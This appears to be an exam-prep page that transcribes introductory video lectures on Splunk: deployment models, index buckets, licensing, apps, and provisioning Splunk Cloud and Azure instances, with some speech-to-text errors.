Pass Splunk SPLK-1001 Exam in First Attempt Easily

Introduction

1. What is Splunk?

Hidden in your organization's data is a goldmine of useful actionable knowledge. Splunk takes this data any type of data, unstructured structured, machine generated, human and generated all of it, and allows you to create real value from that data in the form of rich reports, live dashboards, and triggered alerts. Consider a typical modern organization. It might have some assets in various cloud providers, perhaps Office 365 with Azure Active Directory and maybe a few other Azure services. It might have some big data solutions built out in GCP and some infrastructure in AWS. It likely also has onpremises assets like laptops, desktops, physical servers, physical storage, networking gear, and so on. Each and every one of these items, indeed, every single machine knows and can log exactly what happens to it at any given moment. It logs incoming requests, outgoing messages, users, and other systems with which it interacts, actions it takes, and much, much more. Anyone who assisted through a log file export knows what I'm talking about. But what generally happens to all this data? It gets dumped into a veritable black hole. Nobody looks at it or cares about it. That is, until there's a problem. Then it pros like us are left with manually searching through tens of thousands, hundreds of thousands, and sometimes even millions of log entries trying to investigate the situation. Friends, there's a better way. We can set up a system with Splunk to capture this data, clean it, format it, transform it, and make it sing with live dashboards, rich reports, and triggered alerts. Typical data generated by machines. By machines, I mean systems of any kind: cloud or on premises, containers or virtual or physical servers, vehicles and IoT devices, and many more. The data they generate is cryptic. That is to say, it is not human friendly.

2. Getting Help

Welcome back. When learning a new technology, even if you area tech genius, sometimes we all need help. And for this course, I want to make sure that you know where to go to get that help. For questions directly related to the course, use the courseQ and A where myself and other members of this courses community can help you with your questions. For anything outside of this course. And although I'd love to help you on your individual Splunk project, I simply don't have the time. Please visit answers splunk.com this is for Splunk questions of all levels and Splunk pros and employees as well as other users hang out there. I've almost always gotten an answer to any of my Splunk questions within a few hours and it's never gone over 24 hours. So answers.Splunk.com is a great resource. Take a look at the Splunk documentation at docs splunk.com. Splunk has a robust set of documentation. It's always updated and there's lots of it and I must say it's pretty easy to follow as well. I have a couple of recommended books. This one's called Exploring Splunk and itis free on the Splunk website. We have some more advanced books here, like building Splunk solutions and big data analytics using Splunk.I would recommend these books later on in your Splunk career when you are more intermediate. So perhaps after this course. Also on the Splunk website, they have dozens of free books that you can download and take a look at. Thanks for joining me in this video. I look forward to seeing you in the next video.

Hide

Planning Your Splunk Deployment

1. Deployment Models

There are three types of Splunk deployments single instance, distributed, and of course, Splunk in the Cloud. No matter which deployment you use, Splunk performs the same three functions data input, parsing, and indexing and searching to scale your system. You can split this functionality across multiple specialized instances of Splunk Enterprise. That’s right. No matter how large you scale, you are only ever installing Splunk Enterprise. You're just configuring it differently for different functions. There is one exception, and that is a universal forwarder. A universal forwarder is a very lightweight agent that sits on some machines and forwards data to your Splunk Enterprise instances. During the input phase, Splunk consumes the data from the sources, including forwarders. Splunk does not look at the data contents here. That happens during the next phase, which is parsing. Parsing happens on either an indexer or a heavy forwarder. Both an indexer and a heavy forwarder are simply installations of Splunk Enterprise configured in a particular way. During the parsing phase, Splunk examines, analyzes, and transforms the data. It identifies the timestamps, and it annotates the data with Splunk metadata. The next phase is indexing. In the indexing phase, Splunk takes the parsed data and writes it to indexes on disk in the form offlat files stored on the indexer in buckets. During the searching phase, Splunk manages all aspects of how the user interacts with the data. These are the physical components that make up a Splunk deployment. They can be configured to serve one of the three functions of Splunk that we just talked about data input, parsing, and indexing and searching. There are only two different software packages you need to build any of these components. As I said, universal forwarders. And this is a specific light software package that has minimal configuration. And then everything else is a full version of Splunk Enterprise. You just configure it differently based on which function you want it to do so. Let's take a look at three deployment scenarios. The first one is a departmental deployment. For a departmental deployment, we have a single search head that also serves as an indexer. So this is one Splunk Enterprise Installation. It can be installed on Windows or Linux or in the Cloud. In this scenario, we have up to ten forwarders, either universal or heavy forwarders forwarding data into our combined Splunk search head indexer. And this is appropriate for up to ten users. The second scenario is a small Enterprise deployment. In this deployment, we have a single independent search head. We have two to three load balanced indexes, and we have up to 200 forwarders. Notice here that the search head and the indexers are separate Splunk Enterprise installations. The third type of deployment has nearly infinite scalability superpowers. In this configuration, we build search head clusters, indexer clusters, or both. And this allows for near boundless horizontal scalability. We can accommodate thousands of forwarders in this model. Here's what clustering does? An index or cluster is a group of Splunk Enterprise indexers that are configured to replicate each other's data so that the system keeps multiple copies of all data. This process is known as index replication. By maintaining multiple identical copies of Splunk Enterprise data, the cluster prevents data loss while promoting data availability for searching. Splunk Enterprise clusters feature automatic failover from one indexer to the next. This means that if one or more indexers fail, incoming data continues to get indexed, and indexed data continues to be searchable. A search head cluster is a group of search heads that serves as a central resource for searching. The search heads share knowledge objects, apps, and all other configurations. You can run the same searches, view the same dashboards, and access the same search results from any search head in the cluster. Notice something else here. We also have a deployment server or a Deployer. The Deployer is a Splunk Enterprise instance that you use to distribute apps and certain other configuration updates to the search head cluster members. The set of updates that the Deployer distributes is called the configuration bundle. Let's talk about deploying Splunk in the Cloud. Splunk Cloud has two major offerings. We have self service, which is kind of limited to 20 gig of data ingestion, no active directory and single sign on support, and 20 concurrent searches. A managed Splunk deployment in the Cloud, however, is where you work with your Splunk representative to buildout a custom deployment in Splunk Cloud. One of the deployment models that we talked about just a minute ago.

2. How Splunk Stores Data

How Splunk stores data. When Splunk processes raw data, it adds that data to indexes. Indexes are simply repositories for Splunk, data comes with a few indexes already built in, including one called main and one called underscore internal. As you can probably imagine, the underscore internal index is an index meant for storing Splunk internal logs. So incoming data comes in, and Splunk transforms incoming data into what it calls events and stores those events in indexes. So we know what an index is now. It's simply a repository for Splunk data, and we need to know what an event is. An event is a single row of data. This single row of data has fields which are built in. They can be default fields. They can be fields that you specify using the field. Extractor fields are simply key value pairs. Username equals user, one, two, three. That is a field. Splunk also adds default fields to all events. They are timestamp, host, source, and source type. The timestamp fields obviously adds a timestamp to each event. The host field is typically the host name or IP address of the source system. The source field is the name of the file stream or other input from which the event originates. And the source type is the format of the data. For example, if you look in that green box, that's an Apache log file, and it has a very specific format, and the source type for that is going to default to access underscore combined. That's just what the Apache log file source type is. Physically speaking, Splunk stores index data in buckets. In Splunk, an index contains compresse draw data and associated index files. These index files are spread out into different directories depending on their age. Splunk calls these directories buckets. There are six buckets, but only five of them are important for us to talk about. And they are hot, warm, cold, frozen, and thawed. The hot bucket contains newly indexed data, and index has one or more hot buckets. The warm bucket contains data rolled from the hot bucket with no active writing. An index has many warm buckets. The cold bucket contains data rolled from warm and moved into a different location. An index has many cold buckets. The thing to know about cold buckets is you specify a different physical location on the disk of where the cold bucket is stored. The frozen bucket is data that's rolled from cold. The indexer deletes frozen buckets by default, but you can choose to archive them first. And if you archive them and then have to retrieve the data, it goes into what's called a thawed bucket. And these are buckets restored from an archive. Here's where the buckets are in the file system. No matter if you're using Windows, Mac or Linux, they're in the same location. And that is varlib Splunk default DB. And each bucket is a subdirectory. For example, in the hot path after the DB, we could have multiple hot buckets. Buckets have specific naming conventions, and we don't need to go into that here. But you can look at the Splunk dots for those naming conventions. Other things you can do with bucket you can set a retirement and archiving policy. You can manually archive and restore from archives. Remember the thought bucket. You can back up your data, you can configure index sizes and you can partition index data.

3. Understanding Licensing

Splunk licensing. In Splunk, you licence data ingested per day, not data stored daily. Indexing volume is measured from mid midnight to midnight by the clock on the licence master. In addition to data stored, other things that do not count against your licence are Splunk internal log data, duplicate data, and metadata. Splunk offers seven different licence types. First of all, we have the standard Splunk Enterprise license, and this is available through a Splunk representative, and you pay for different data consumption needs. So starting at one gig, you pay a certain amount of money to Splunk for a certain data consumption per day needs. The Enterprise Trial licence downloads and installs with a product. It's limited to 500 megabytes of ingestion per day. It's valid for 60 days, and then it converts into what's called the free license. The Sales trial licence is where a Splunk sales representative can customise the trial licence for more volume or longer durations for a specific proof of concept that you're working on. A devts licence is restricted to nonproduction Splunk staging environments. The free licence is perpetual and never expires, but it's highly restricted. It's restricted to 500 megabytes per day of data ingestion, and it has no login, no alerting, no distributed architecture, and a few other restrictions. The Industrial Internet of Things licence is as pecialized licence for Internet of Things use cases. It gives you access to Splunk Enterprise and a specific set of Splunk apps. The forwarder licence allows a Splunk instance to be installed as a heavy forwarder. Starting with version 6.5, Splunk Enterprise no longer disable search when you exceed your licenced data ingestion quota. This is called the no enforcement policy. So here's what happens when you exceed your quotas. If you exceed your licenced daily volume on any one calendar day, you get a warning. If you get five or more warnings in a rolling 30 day period, you're in violation. If you're in violation, Splunk will continue to send messages, but it will not disable your search or any features. Splunk does this to allow for unexpected temporary bursts of data volume in a distributed environment. Most Splunk Enterprise instances need access to an enterprise license. The exception is heavy forwarders, which only need a forwarder licence unless they are also indexing data, in which case they need enterprise licenses. The ideal way is to set up a licence master and have all of the Splunk instances in your environment talk to the master to get their licenses. A collection of licences whose individual licencing volume amounts aggregate to serve as a single unified amount of indexing volume is called a stack. License pools are created from these licence stacks. They're sized for specific purposes. The licence manager manages licence pools, indexers, and other Splunk Enterprise instances are assigned to a pool. Splunk recommends not assigning forwarders to a licensed pool since they have unique licence types. Again, unless a heavy forwarder is also indexing data, then it needs the indexer type license, which is the Splunk Enterprise License. License groups are sets of licence stacks. A stack can only be a member of one group and only one group can be active at any given time. The groups are Enterprise Sales Trial and these allow, of course, stacking of purchased enterprise licenses. Enterprise Trial is the default group that you get when you download Splunk. And you can't stack licences on the Enterprise Trial free and forwarder. Licenses don't allow stacking. So here is how the whole architecture looks. And I have adopted this graphic from the Splunk documentation. So we have licenced groups as the big container, and then we have licence stacks. And inside the licence stacks we have licence files. These are the files you get when you purchase a Splunk licence and you can stack them sold that they aggregate. And then from that aggregate you can create a license pool which you assign to specific instances.

4. Splunk Apps

Welcome back. In this segment, I want to talk about Splunk apps, and this is a really important topic. Apps extend Splunk's functionality. They are often written by vendors of products themselves, like HP or Cisco or S. Five individuals can also create apps, and other third-party organisations can do so as well. You can find all the apps on SplunkBase.com, and they do have tags. Some apps carry the "Splunk built" tag, which means that app is built and certified by Splunk itself. And other apps carry the Splunk Certified tab, which means that Splunk has certified them to work with the current version of Splunk. Some apps don't have any tags, but that doesn't mean you shouldn't download and try them. Some apps that have not yet become Splunk certified are still very, very good. What is an app? It's just a collection of configuration files. In other words, it's just a collection of text files. Apps can also have add-ons that specify additional details about how the app behaves, such as data collection and lookups, as well as other extended functions. So an app is a collection of configuration files. An add on is also a collection of configuration files. But add-ons and apps work together. As I said, you can get apps from Splunkbased.com. Most apps are free. However, there are a few premium apps. Currently, there are five for which you'll need to buy a license. These include Splunk for Enterprise Security, Splunk for PCI Compliance, Splunk for VMware, and Splunk for Microsoft Exchange. Let's take a look at how to install and manage apps in Splunk. Back on our Windows 10 search page Let's open up the Splunk. Web GUI. And here we are at the Splunk Web GUI, and we can see on the sidebar here that it says Apps, and then it shows us the only app we have installed, which is the Search Engine Reporting App. Other apps that have Gui's built into them will appear on the side here. Some apps do not have GUIs, and most add-ons do not have GUIs. So how can we see and manage those kinds of apps? Well, we simply click on the gear here next to apps, and we see a list of all of the apps that we have installed. Currently, I have 16 apps installed, and these are just the apps that come with a default installation of Splunk. Notice down here that we do have the Splunk Searching and Reporting App listed because the Splunk Searching and Reporting App is actually an app. So now let's download a new app and install it. So we're going to Splunk base and simply searching for an app that we think might be useful. And one of the best apps to start out with is called the Splunk Dashboard Examples. And there it is there. And we can see right off the bat that Splunk actually built this app, so it's highly trustworthy. We have some screenshots of what the app looks like once you install it, and we simply log in to download. Of course, we have to agree to the terms and conditions and all that jazz, and we'll save it. And again, an app is just a series of configuration files or text documents. So most apps are pretty light. And you can see how quickly this app downloaded. To install the app, click on the gear next to "Apps" Install App from File." Browse to the file we just downloaded. We don't need to unzip it or untar it or anything like that. And there it is. It's a TGV. And I always like to tick this box here that says "Upgrade App." This will ask Splunk to keep an eye on the app, and if there are any updates, alert us of those updates. Okay, the app was installed successfully, and we can see the app here. Is it visible? Yes. This means it has a GUI. It's enabled. We can launch an app, edit properties, view objects, and view details on small caps. So viewing objects means viewing all of the knowledge objects that come with this app. It could be lookups; it could be datamodels; it could be tags; it could be event types, saved searches, or Save Searches or Dashboards. So since this app is visible, that means it will appear on our sidebar. Let's go back to the Splunk home page. And there it is: six Splunk for Dashboard examples. And what this app does is take the Splunk internal log information and give you a bunch of ideas about dashboards you can make with that data. So if we click on charts, for example, we can see different examples of charts. This is a stacked chart. This is a regular column chart. Now let's take a look at the files that make up this app. As I said, apps are just a series of configuration files. So if we browse to the Splunk home directory, when you go to Etsy and Apps, we can look at the folder. And this app is actually called Simple XML examples, and we can look in the default directory and see all these comps files. So apps.com saves searches, transforms, and visualizations. If we edit one of these or open it in Notepad, we can see the contents of this configuration file, and we'll go more deeply into configuration files in a different segment. You can also install apps through a command line interface, but whether you are on Windows or Linux, I recommend doing it through the Splunk GUI. And I thank you for joining me in this segment. I looked forward to seeing you next time.

Hide

Installing Splunk

1. Provisioning a Splunk Cloud instance

Welcome, and let's provision a Splunk Cloud instance. First of all, go to splunk.com and then click on "Free Splunk." And if you don't already have a Splunk account, you'll have to create one. And once you filled out all the information here, you can just click on Cloud Trial and make sure you agree to the Splunk software licence agreement and of course verify that you are not a robot. If you are a robot, you probably shouldn't have enrolled in this class and setting up our account. And once everything is set up, it will take you to this page that says your Splunk Cloud trial is ready. So let's click on "View my instance" for more terms of service to accept. Here it is, our fully functional Splunk cloud trial. Thank you for joining me in this video. In the next few videos, we're going to install Splunk on various platforms.

2. Install Splunk on Azure

Welcome, and let's provision services on Microsoft Azure. And on Microsoft Azure, it's really quite easy. We just go up here to create a resource. It will open up the new resource blade, search for Splunk and choose Splunk Enterprise, and read that if you want. Select a deployment model. We'll use Resource Manager. That's the only one available. Click Create, and we'll configure it. So what this is doing is providing at least one virtual machine, and we'll install Splunk on that virtual machine. You can also do distributed deployments and things like that, but we won't get into that yet. VM username. This is the username to log into the virtual machine and the VM user password, and you can choose your subscription. If you're on an Azure trial, make sure you choose that. If you have a Visual Studio Professional License, you get $50 a month. I'm going to create a new resource group because I don't have any existing resource groups to use. I'm going to call it Splunk RG. Splunk Resource Group and US West Two are my only options for my Visual Studio Professional license. So we'll choose that, and then it asks you to set up your VNET, which is an Azure Virtual Network. So let's click on that and click okay. We can keep the defaults there. and now configure subnets. Azure by default wants to put the search head and the indexer in different subnets. This is, of course, for a distributed deployment because, in a small departmental deployment, the search head and the indexer might be the same machine. But for right now, let's just use the defaults that Azure has and click Okay. And then click Okay. And here's an example of a Spunk deployment. We can do a single node, which is a departmental deployment, or we can do a cluster, which is a distributed deployment, like a small enterprise or large enterprise deployment. Right now, let's just do a single node and click okay. And we'll need a DNS domain name for Spunk and the Spunk admin password. Create whatever you want, and you can, if you're deploying this in production, restrict the IP ranges from which you can receive data. For this test deployment, I'm just going to open it all up. To receive data from anywhere, click OK, and it will run the final validation. If everything looks good, click OK and click Create. and it'll take a few minutes to deploy. And we can check on our deployment progress by clicking on this little bell icon up here. And it will show us exactly what it's doing and at what stage of deployment it's at the deployment. And when it's done, we can click on Resource Groups here and bring up the resource group Blade. and we can see that. Splunk RG resource group that I created And let's click on that and see everything that's inside that resource group. We have a public IP, a virtual network, a virtual machine availability set, a standalone NIC for the virtual machine, a network security group, and a standalone VM. This is where Splunk is actually installed. And let's take a look at the standalone VM. And we have a public IP address right here. And we also have a DNS name. Now, by default, Azure wants us to use the DNS name to connect to our Splunk instance. So we'll copy that, open up a new browser tab, and paste it. Now, this Azure Marketplace instance actually forwards the port for us. So all we need to do is put HTTPS in front of this URL and proceed. And here's our Splunk Enterprise instance running on Azure. Let's log in. Remember when we were setting up the password when we were provisioning the instance? That's the password we're going to use here. And. There's Splunk on Azure. Now, notice this is not the newest version. So until Azure updates their Marketplace instance, what we can do is simply provision a regular virtual machine and then follow the Linux or Windows Splunk installation instructions in upcoming videos. And I thank you for joining me in this video, and I look forward to seeing you next time.

Hide